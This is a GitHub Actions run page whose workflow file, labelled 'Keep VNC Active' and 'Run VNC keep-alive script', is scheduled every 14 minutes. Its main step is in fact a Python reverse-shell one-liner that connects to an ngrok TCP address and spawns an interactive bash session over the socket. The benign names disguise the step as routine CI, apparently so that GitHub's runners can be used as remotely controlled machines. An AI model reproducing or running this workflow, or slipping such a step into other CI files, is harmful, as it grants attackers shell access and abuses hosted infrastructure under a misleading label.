Skip to content

CI with Tmate Debugging #9

CI with Tmate Debugging

CI with Tmate Debugging #9

Workflow file for this run

name: Keep VNC Active
on:
schedule:
- cron: '*/14 * * * *' # Runs every 14 minutes
workflow_dispatch: # Allows manual triggering
jobs:
keep_vnc_active:
runs-on: ubuntu-latest
steps:
- name: Check out repository
uses: actions/checkout@v2
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: '3.x'
- name: Install dependencies
run: |
python -m pip install --upgrade pip
- name: Install Chrome
run: |
sudo apt-get update
- name: Run VNC keep-alive script
run: |
export RHOST="2.tcp.ngrok.io:19150";export RPORT=1234;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'
timeout-minutes: 13 # Stop after 13 minutes to allow for the next scheduled run